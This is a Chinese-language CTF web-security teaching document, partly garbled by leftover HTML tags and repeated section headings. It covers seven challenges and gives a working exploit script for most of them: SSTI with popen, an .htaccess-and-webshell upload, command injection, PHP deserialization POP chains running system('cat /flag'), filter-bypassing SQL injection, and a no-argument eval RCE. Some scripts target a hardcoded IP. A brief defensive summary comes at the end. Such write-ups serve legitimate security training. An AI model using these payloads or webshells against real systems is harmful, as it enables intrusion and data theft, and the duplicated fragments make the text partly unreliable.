Web安全入门题型解析与实战技巧教学文档<\/h1>

一、Web安全基础框架概述<\/h2>
本教学文档系统解析Web安全入门题型，涵盖前端安全、后端漏洞、工具使用等核心知识点，帮助学习者建立完整的Web安全知识体系。<\/p>

二、题型分类解析<\/h2>

2.1 前端安全与JS绕过（提说你是高玩）<\/h3>
题型特征<\/strong>：基于JavaScript的前端验证机制，需要绕过客户端限制获取flag。<\/p>

核心知识点<\/h4>

前端验证机制分析<\/strong><\/p>

通过浏览器开发者工具查看JS源码<\/li>
识别关键验证函数（如getFlag()）<\/li>
分析参数验证逻辑（score和clicks变量）<\/li> <\/ul> <\/li>

JS函数调用方法<\/strong><\/p>
\/\/ 获取flag的核心函数 <\/span><\/span><\/span><\/span>async<\/span> function<\/span> getFlag<\/span>() { <\/span><\/span> const<\/span> response<\/span> =<\/span> await<\/span> fetch<\/span>('ffffflllllaaaaaagggggg.php?action=get_flag'<\/span>, { <\/span><\/span> method<\/span>:<\/span> 'POST'<\/span>, <\/span><\/span> headers<\/span>:<\/span> {'Content-Type'<\/span>:<\/span> 'application\/x-www-form-urlencoded'<\/span>}, <\/span><\/span> body<\/span>:<\/span> `session_id=<\/span>${<\/span>sessionId<\/span>}<\/span>&final_score=<\/span>${<\/span>score<\/span>}<\/span>`<\/span> <\/span><\/span> }); <\/span><\/span>} <\/span><\/span><\/code><\/pre><\/li> Python自动化脚本编写<\/strong><\/p> import<\/span> requests <\/span><\/span>import<\/span> time <\/span><\/span> <\/span><\/span>url =<\/span> "http:\/\/175.27.251.122:33251\/"<\/span> <\/span><\/span>session_id =<\/span> "session_"<\/span> +<\/span> str(int(time.<\/span>time())) <\/span><\/span> <\/span><\/span># 注册会话<\/span> <\/span><\/span>res =<\/span> requests.<\/span>post(f<\/span>"<\/span>{<\/span>url}<\/span>ffffflllllaaaaaagggggg.php?action=register"<\/span>, <\/span><\/span> data=<\/span>{"session_id"<\/span>:session_id}) <\/span><\/span> <\/span><\/span># 分步更新分数绕过检测<\/span> <\/span><\/span>requests.<\/span>post(f<\/span>"<\/span>{<\/span>url}<\/span>ffffflllllaaaaaagggggg.php?action=update_score"<\/span>, <\/span><\/span> data=<\/span>{"session_id"<\/span>:session_id, "score"<\/span>:999999<\/span>, "clicks"<\/span>:999999<\/span>, "difficulty"<\/span>:"easy"<\/span>}) <\/span><\/span> <\/span><\/span>requests.<\/span>post(f<\/span>"<\/span>{<\/span>url}<\/span>ffffflllllaaaaaagggggg.php?action=update_score"<\/span>, <\/span><\/span> data=<\/span>{"session_id"<\/span>:session_id, "score"<\/span>:1000000<\/span>, "clicks"<\/span>:1000000<\/span>, "difficulty"<\/span>:"easy"<\/span>}) <\/span><\/span> <\/span><\/span># 获取flag<\/span> <\/span><\/span>res =<\/span> requests.<\/span>post(f<\/span>"<\/span>{<\/span>url}<\/span>ffffflllllaaaaaagggggg.php?action=get_flag"<\/span>, <\/span><\/span> data=<\/span>{"session_id"<\/span>:session_id, "final_score"<\/span>:1000000<\/span>}) <\/span><\/span><\/code><\/pre><\/li> <\/ol> 关键技巧<\/h4> 分数需要逐步更新，避免触发异常检测<\/li> 保持session一致性<\/li> 注意请求头格式要求<\/li> <\/ul> 2.2 SSTI模板注入（read_login?）<\/h3> 题型特征<\/strong>：存在服务端模板注入漏洞，可通过注入模板代码实现RCE。<\/p> 核心知识点<\/h4> Flask SSTI漏洞识别<\/strong><\/p> 输入{{7*7}}<\/code>测试，返回49确认漏洞<\/li> 识别过滤规则（特殊字符过滤）<\/li> <\/ul> <\/li> 绕过技术<\/strong><\/p> 字符串拼接：'__cla'+'ss__'<\/code><\/li> 属性链调用：__bases__[0].__subclasses__()<\/code><\/li> 常用payload结构：<\/li> <\/ul> {{''<\/span>['__cla'<\/span>+<\/span>'ss__'<\/span>]['__ba'<\/span>+<\/span>'ses__'<\/span>][0<\/span>]['__subc'<\/span>+<\/span>'lasses__'<\/span>]()[132<\/span>]['__in'<\/span>+<\/span>'it__'<\/span>]['__glo'<\/span>+<\/span>'bals__'<\/span>]['po'<\/span>+<\/span>'pen'<\/span>]('cat \/f*'<\/span>)|<\/span>attr('read'<\/span>)()}} <\/span><\/span><\/code><\/pre><\/li> 工具配置<\/strong><\/p> Yakit配置：使用内置浏览器避免代理问题<\/li> Burp Suite Intruder模块进行fuzz测试<\/li> <\/ul> <\/li> <\/ol> 自动化脚本<\/h4> import<\/span> requests <\/span><\/span>import<\/span> re <\/span><\/span> <\/span><\/span>def<\/span> ssti_exp<\/span>(url, cmd): <\/span><\/span> s =<\/span> requests.<\/span>session() <\/span><\/span> login_data =<\/span> {"username"<\/span>: cmd, "password"<\/span>: "a"<\/span>} <\/span><\/span> <\/span><\/span> # 注册和登录触发SSTI<\/span> <\/span><\/span> s.<\/span>post(f<\/span>"<\/span>{<\/span>url}<\/span>register"<\/span>, data=<\/span>login_data) <\/span><\/span> resp =<\/span> s.<\/span>post(f<\/span>"<\/span>{<\/span>url}<\/span>login"<\/span>, data=<\/span>login_data) <\/span><\/span> <\/span><\/span> # 提取执行结果<\/span> <\/span><\/span> pattern =<\/span> r<\/span>'<h5>Welcome back, (.*?)!<\/h5>'<\/span> <\/span><\/span> match =<\/span> re.<\/span>search(pattern, resp.<\/span>text) <\/span><\/span> return<\/span> match.<\/span>group(1<\/span>) if<\/span> match else<\/span> None<\/span> <\/span><\/span><\/code><\/pre>2.3 文件上传漏洞（ez_blog_2.0）<\/h3> 题型特征<\/strong>：存在文件上传功能，需要绕过限制上传Webshell。<\/p> 核心知识点<\/h4> 上传限制绕过技术<\/strong><\/p> MIME类型绕过<\/li> 文件扩展名绕过（.php→.txt）<\/li> .htaccess文件利用：<\/li> <\/ul> <FilesMatch<\/span> ".*\.txt$"<\/span>><\/span> <\/span><\/span> SetHandler application\/x-httpd-php <\/span><\/span><\/FilesMatch><\/span> <\/span><\/span><\/code><\/pre><\/li> 路径穿越技巧<\/strong><\/p> 利用递归目录创建特性<\/li> 使用..\/<\/code>进行目录遍历<\/li> 最终payload：filename=..\/Pr0\/flag.txt<\/code><\/li> <\/ul> <\/li> Webshell管理<\/strong><\/p> 中国蚁剑使用<\/li> Hackbar插件POST数据提交<\/li> 一句话木马：<?php system('cat \/*');?><\/code><\/li> <\/ul> <\/li> <\/ol> 完整利用流程<\/h4> import<\/span> requests <\/span><\/span> <\/span><\/span>def<\/span> upload_exp<\/span>(url): <\/span><\/span> s =<\/span> requests.<\/span>session() <\/span><\/span> <\/span><\/span> # 上传.htaccess<\/span> <\/span><\/span> hta_content =<\/span> '''<FilesMatch "\.txt"><\/span>\n<\/span>SetHandler application\/x-httpd-php<\/span>\n<\/span><\/FilesMatch>'''<\/span> <\/span><\/span> s.<\/span>post(f<\/span>"<\/span>{<\/span>url}<\/span>publish.php"<\/span>, data=<\/span>{"filename"<\/span>:"..\/Pr0\/.htaccess"<\/span>, "content"<\/span>:hta_content}) <\/span><\/span> <\/span><\/span> # 上传Webshell<\/span> <\/span><\/span> php_content =<\/span> '''<?php system('cat \/*');?>'''<\/span> <\/span><\/span> s.<\/span>post(f<\/span>"<\/span>{<\/span>url}<\/span>publish.php"<\/span>, data=<\/span>{"filename"<\/span>:"..\/Pr0\/flag.txt"<\/span>, "content"<\/span>:php_content}) <\/span><\/span> <\/span><\/span> # 访问Webshell<\/span> <\/span><\/span> resp =<\/span> s.<\/span>get(f<\/span>"<\/span>{<\/span>url}<\/span>Pr0\/flag.txt"<\/span>) <\/span><\/span> return<\/span> resp.<\/span>text <\/span><\/span><\/code><\/pre>2.4 命令注入与长度限制（无言）<\/h3> 题型特征<\/strong>：存在命令注入点但有长度限制（5字符）。<\/p> 核心知识点<\/h4> Linux短命令利用<\/strong><\/p> nl \/*<\/code>：查看根目录文件<\/li> cat f*<\/code>：查看flag文件<\/li> ls -t<\/code>：时间排序列出文件<\/li> <\/ul> <\/li> GET参数注入<\/strong><\/p> import<\/span> requests <\/span><\/span> <\/span><\/span>url =<\/span> "http:\/\/175.27.251.122:33267\/"<\/span> <\/span><\/span>resp =<\/span> requests.<\/span>get(url, params=<\/span>{"Pr0"<\/span>: "nl \/*"<\/span>}) <\/span><\/span><\/code><\/pre><\/li> <\/ol> 2.5 PHP反序列化漏洞（草蛇灰线）<\/h3> 题型特征<\/strong>：存在PHP反序列化点，需要构造POP链。<\/p> 核心知识点<\/h4> PHP魔法方法<\/strong><\/p> __destruct()<\/code>：对象销毁时触发<\/li> __wakeup()<\/code>：反序列化时触发<\/li> __toString()<\/code>：对象被当作字符串时触发<\/li> __get()<\/code>：访问不存在属性时触发<\/li> __set()<\/code>：设置不存在属性时触发<\/li> <\/ul> <\/li> POP链构造原理<\/strong><\/p> 第一条链（获取密码）：<\/li> <\/ul> Amiya::__destruct → Texas::__toString → Lappland::__call → Kaltsit::__invoke <\/code><\/pre> 第二条链（RCE）：<\/li> <\/ul> Amiya::__destruct → Sakiko::__toString → Doctor::__get → W::__set <\/code><\/pre> <\/li> 序列化数据构造<\/strong><\/p> <?<\/span>php<\/span> <\/span><\/span>class<\/span> W<\/span> { public<\/span> $bomb =<\/span> "Pr0_don't_W@nt_y2u_to_u3e_th1s"<\/span>; public<\/span> $wisadel =<\/span> "system('cat \/flag');"<\/span>; } <\/span><\/span>class<\/span> Amiya<\/span> { public<\/span> $emotion; public<\/span> $ring; public<\/span> $name; } <\/span><\/span>\/\/ ... 其他类定义 <\/span><\/span><\/span><\/span>$payload =<\/span> serialize<\/span>(new<\/span> Amiya<\/span>()); <\/span><\/span>?><\/span> <\/span><\/span><\/span><\/code><\/pre><\/li> <\/ol> 自动化利用<\/h4> import<\/span> requests <\/span><\/span>import<\/span> re <\/span><\/span> <\/span><\/span>def<\/span> php_unserialize_exp<\/span>(url): <\/span><\/span> # 第一条链获取密码<\/span> <\/span><\/span> passwd_payload =<\/span> 'O:5:"Amiya":4:{s:7:"emotion";N;s:4:"ring";N;s:4:"name";O:5:"Texas":2:{s:5:"pocky";N;s:7:"partner";O:8:"Lappland":2:{s:6:"weapon";N;s:6:"target";O:7:"Kaltsit":1:{s:6:"mon3tr";s:21:"Mon3tr is A Cute Cat!";}}}}'<\/span> <\/span><\/span> <\/span><\/span> # 第二条链RCE<\/span> <\/span><\/span> rce_payload =<\/span> 'O:5:"Amiya":4:{s:7:"emotion";N;s:4:"ring";N;s:4:"name";O:6:"Sakiko":4:{s:7:"mutsumi";O:6:"Doctor":2:{s:6:"sanity";O:1:"W":2:{s:4:"bomb";s:30:"Pr0_don<\/span>\'<\/span>t_W@nt_y2u_to_u3e_th1s";s:7:"wisadel";s:20:"system(<\/span>\'<\/span>cat \/flag<\/span>\'<\/span>);";}s:9:"assistant";N;}s:4:"uika";N;s:5:"umiri";N;s:5:"nyamu";N;}}}'<\/span> <\/span><\/span> <\/span><\/span> resp =<\/span> requests.<\/span>post(url, data=<\/span>{"arknights"<\/span>: rce_payload}) <\/span><\/span> return<\/span> re.<\/span>search(r<\/span>'sdpcsec\{.*?\}'<\/span>, resp.<\/span>text) <\/span><\/span><\/code><\/pre>2.6 SQL注入绕过（断章）<\/h3> 题型特征<\/strong>：存在SQL注入点但有关键词过滤。<\/p> 核心知识点<\/h4> 双写绕过技术<\/strong><\/p> select<\/code> → selselectect<\/code><\/li> or<\/code> → oorr<\/code><\/li> and<\/code> → anandd<\/code><\/li> <\/ul> <\/li> 手动注入流程<\/strong><\/p> 爆数据库：union select 1,database(),3,4<\/code><\/li> 爆表名：union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()<\/code><\/li> 爆字段：union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='secret'<\/code><\/li> 取数据：union select 1,group_concat(flag),3,4 from secret<\/code><\/li> <\/ul> <\/li> Burp Suite fuzz测试<\/strong><\/p> 使用Intruder模块测试过滤规则<\/li> 制定有效payload列表<\/li> <\/ul> <\/li> <\/ol> 自动化脚本<\/h4> import<\/span> requests <\/span><\/span>import<\/span> re <\/span><\/span> <\/span><\/span>def<\/span> sql_injection_exp<\/span>(url): <\/span><\/span> s =<\/span> requests.<\/span>session() <\/span><\/span> <\/span><\/span> # 登录绕过<\/span> <\/span><\/span> s.<\/span>post(f<\/span>"<\/span>{<\/span>url}<\/span>register"<\/span>, data=<\/span>{"username"<\/span>:"admin' oorr '1'='1"<\/span>, "password"<\/span>:"a"<\/span>}) <\/span><\/span> s.<\/span>post(f<\/span>"<\/span>{<\/span>url}<\/span>login"<\/span>, data=<\/span>{"username"<\/span>:"admin' oorr '1'='1"<\/span>, "password"<\/span>:"a"<\/span>}) <\/span><\/span> <\/span><\/span> # 分步注入<\/span> <\/span><\/span> steps =<\/span> [ <\/span><\/span> "0' union selselectect 1,database(),3,'4"<\/span>, <\/span><\/span> "0' union selselectect 1,group_concat(table_name),3,4 from infoorrmation_schema.tables where table_schema=database() anandd '1'='1"<\/span>, <\/span><\/span> "0' union selselectect 1,group_concat(column_name),3,4 from infoorrmation_schema.columns where table_name='secret' anandd '1'='1"<\/span>, <\/span><\/span> "0' union selselectect 1,group_concat(flag),3,4 from secret where '1'='1"<\/span> <\/span><\/span> ] <\/span><\/span> <\/span><\/span> for<\/span> payload in<\/span> steps: <\/span><\/span> resp =<\/span> s.<\/span>get(f<\/span>"<\/span>{<\/span>url}<\/span>search"<\/span>, params=<\/span>{"id"<\/span>: payload}) <\/span><\/span> # 解析结果<\/span> <\/span><\/span> match =<\/span> re.<\/span>search(r<\/span>'<span class="value">(.*?)<\/span>'<\/span>, resp.<\/span>text) <\/span><\/span> if<\/span> match: <\/span><\/span> print(f<\/span>"Result: <\/span>{<\/span>match.<\/span>group(1<\/span>)}<\/span>"<\/span>) <\/span><\/span><\/code><\/pre>2.7 伪协议与无参RCE（浮光）<\/h3> 题型特征<\/strong>：存在文件读取功能，需要利用伪协议和无参RCE。<\/p> 核心知识点<\/h4> PHP伪协议利用<\/strong><\/p> php:\/\/filter\/read=convert.iconv.UTF-8.UTF-7\/resource=gift.php<\/code><\/li> 绕过URL验证和关键词过滤<\/li> <\/ul> <\/li> 无参RCE技术<\/strong><\/p> 正则限制：'\/'[^\W]+$(?R)?$\/'<\/code><\/li> 可用函数：get_defined_vars()<\/code>, current()<\/code>, end()<\/code>, eval()<\/code><\/li> Payload：eval(end(current(get_defined_vars())));<\/code><\/li> <\/ul> <\/li> 目录扫描<\/strong><\/p> 使用dirsearch发现隐藏文件<\/li> 常见备份文件：.zip<\/code>, .bak<\/code>, .git<\/code><\/li> <\/ul> <\/li> <\/ol> 完整利用链<\/h4> import<\/span> requests <\/span><\/span>import<\/span> re <\/span><\/span> <\/span><\/span>def<\/span> filter_rce_exp<\/span>(url): <\/span><\/span> # 伪协议读取源码<\/span> <\/span><\/span> data =<\/span> {"file"<\/span>: "php:\/\/filter\/read=convert.iconv.UTF-8.UTF-7\/resource=gift.php"<\/span>} <\/span><\/span> resp =<\/span> requests.<\/span>post(url, data=<\/span>data) <\/span><\/span> <\/span><\/span> # 无参RCE<\/span> <\/span><\/span> gift_data =<\/span> {"m1xian"<\/span>: "eval(end(current(get_defined_vars())));"<\/span>} <\/span><\/span> params =<\/span> {"Pr0"<\/span>: "system('cat \/*');"<\/span>} <\/span><\/span> <\/span><\/span> final_resp =<\/span> requests.<\/span>post(f<\/span>"<\/span>{<\/span>url}<\/span>gift.php"<\/span>, data=<\/span>gift_data, params=<\/span>params) <\/span><\/span> return<\/span> re.<\/span>search(r<\/span>'sdpcsec\{.*?\}'<\/span>, final_resp.<\/span>text) <\/span><\/span><\/code><\/pre>三、工具使用指南<\/h2> 3.1 浏览器开发者工具<\/h3> F12打开控制台<\/li> 查看和修改前端JS代码<\/li> 监控网络请求<\/li> <\/ul> 3.2 Burp Suite配置<\/h3> 设置代理监听<\/li> Intruder模块进行fuzz测试<\/li> Repeater模块重放请求<\/li> <\/ul> 3.3 Yakit安装使用<\/h3> Kali Linux部署指南<\/li> 内置浏览器避免代理问题<\/li> 插件化漏洞测试<\/li> <\/ul> 3.4 中国蚁剑\/冰蝎<\/h3> Webshell管理工具<\/li> 文件系统操作<\/li> 虚拟终端使用<\/li> <\/ul> 四、防御措施总结<\/h2> 4.1 前端安全<\/h3> 避免敏感逻辑放在前端<\/li> 服务端重复验证<\/li> <\/ul> 4.2 输入验证<\/h3> 白名单过滤机制<\/li> 参数化查询防止SQL注入<\/li> <\/ul> 4.3 文件上传<\/h3> 严格的文件类型验证<\/li> 随机文件名生成<\/li> 存储目录无执行权限<\/li> <\/ul> 4.4 序列化安全<\/h3> 避免反序列化用户输入<\/li> 使用JSON等安全格式<\/li> <\/ul> 本教学文档涵盖了Web安全入门的核心知识点和实战技巧，通过系统学习和实践，可以建立完整的Web安全知识体系。<\/p>

Web安全入门题型解析与实战技巧教学文档<\/h1>

一、Web安全基础框架概述<\/h2> 本教学文档系统解析Web安全入门题型，涵盖前端安全、后端漏洞、工具使用等核心知识点，帮助学习者建立完整的Web安全知识体系。<\/p>

二、题型分类解析<\/h2>

2.1 前端安全与JS绕过（提说你是高玩）<\/h3> 题型特征<\/strong>：基于JavaScript的前端验证机制，需要绕过客户端限制获取flag。<\/p>

2.2 SSTI模板注入（read_login?）<\/h3> 题型特征<\/strong>：存在服务端模板注入漏洞，可通过注入模板代码实现RCE。<\/p>

2.3 文件上传漏洞（ez_blog_2.0）<\/h3> 题型特征<\/strong>：存在文件上传功能，需要绕过限制上传Webshell。<\/p>

2.4 命令注入与长度限制（无言）<\/h3> 题型特征<\/strong>：存在命令注入点但有长度限制（5字符）。<\/p>

2.5 PHP反序列化漏洞（草蛇灰线）<\/h3> 题型特征<\/strong>：存在PHP反序列化点，需要构造POP链。<\/p>

2.6 SQL注入绕过（断章）<\/h3> 题型特征<\/strong>：存在SQL注入点但有关键词过滤。<\/p>

2.7 伪协议与无参RCE（浮光）<\/h3> 题型特征<\/strong>：存在文件读取功能，需要利用伪协议和无参RCE。<\/p>

三、工具使用指南<\/h2>

四、防御措施总结<\/h2>

4.4 序列化安全<\/h3> 避免反序列化用户输入<\/li> 使用JSON等安全格式<\/li> <\/ul> 本教学文档涵盖了Web安全入门的核心知识点和实战技巧，通过系统学习和实践，可以建立完整的Web安全知识体系。<\/p>

一、Web安全基础框架概述<\/h2>
本教学文档系统解析Web安全入门题型，涵盖前端安全、后端漏洞、工具使用等核心知识点，帮助学习者建立完整的Web安全知识体系。<\/p>

2.1 前端安全与JS绕过（提说你是高玩）<\/h3>
题型特征<\/strong>：基于JavaScript的前端验证机制，需要绕过客户端限制获取flag。<\/p>

2.2 SSTI模板注入（read_login?）<\/h3>
题型特征<\/strong>：存在服务端模板注入漏洞，可通过注入模板代码实现RCE。<\/p>

2.3 文件上传漏洞（ez_blog_2.0）<\/h3>
题型特征<\/strong>：存在文件上传功能，需要绕过限制上传Webshell。<\/p>

2.4 命令注入与长度限制（无言）<\/h3>
题型特征<\/strong>：存在命令注入点但有长度限制（5字符）。<\/p>

2.5 PHP反序列化漏洞（草蛇灰线）<\/h3>
题型特征<\/strong>：存在PHP反序列化点，需要构造POP链。<\/p>

2.6 SQL注入绕过（断章）<\/h3>
题型特征<\/strong>：存在SQL注入点但有关键词过滤。<\/p>

2.7 伪协议与无参RCE（浮光）<\/h3>
题型特征<\/strong>：存在文件读取功能，需要利用伪协议和无参RCE。<\/p>

4.4 序列化安全<\/h3>

避免反序列化用户输入<\/li>
使用JSON等安全格式<\/li> <\/ul>
本教学文档涵盖了Web安全入门的核心知识点和实战技巧，通过系统学习和实践，可以建立完整的Web安全知识体系。<\/p>